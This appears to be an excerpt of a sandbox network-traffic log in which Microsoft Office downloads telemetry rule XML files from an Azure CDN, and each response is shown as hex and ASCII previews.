2024-10-10 08:13:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	64603	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:36 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 797b9b47-101e-005a-1e2f-1a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081336Z-1597f6968448rwjgu0m52akk0400000001v000000000b8qb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	64604	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:36 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: c54fb296-901e-008f-528c-1567a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081336Z-r154656d9bckpfgl7fe14swubc0000000kw0000000002x6k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	64605	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:36 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:36 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: b19f81e3-601e-005c-8050-1af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081336Z-1597f696844h4hhwdarr1hac8400000001pg0000000072y1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:36 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	64606	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:36 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:36 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8abcb726-301e-001f-1b78-18aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081336Z-r154656d9bcpkd87yvea8r1dfg0000000kc0000000003a1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:36 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	64607	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:36 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 4ad26f23-901e-00ac-1503-1ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081336Z-1597f696844m2gqc2hc3gbt72g00000001v0000000006594 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	64609	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:37 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 94af937e-501e-0047-50ca-1ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081337Z-r154656d9bclprr71vn2nvcemn0000000w9000000000b4bx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	64608	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:37 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 94af9378-501e-0047-4aca-1ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081337Z-1597f696844wqd6lfkgu19yfdc00000001n000000000g4ga x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	64610	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:37 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: dac0d9b0-601e-0097-08fb-19f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081337Z-1597f696844q8c67yszg3hsx0000000001qg000000004e9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	64612	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:37 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:37 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 4e733f9a-d01e-00a1-074a-1a35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081337Z-1597f696844lq27kahy39f1g9800000000e0000000007w1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:37 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	64611	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:37 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: a818c6dc-b01e-005c-0236-164c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081337Z-r154656d9bcc4snr2sy7ntt13c0000000fp000000000bp7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	64614	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:38 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:38 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: b54c199e-501e-0047-79d7-1ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081338Z-r154656d9bcbgl7txcdy78hpp400000000q0000000006g00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:38 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	64616	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:38 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
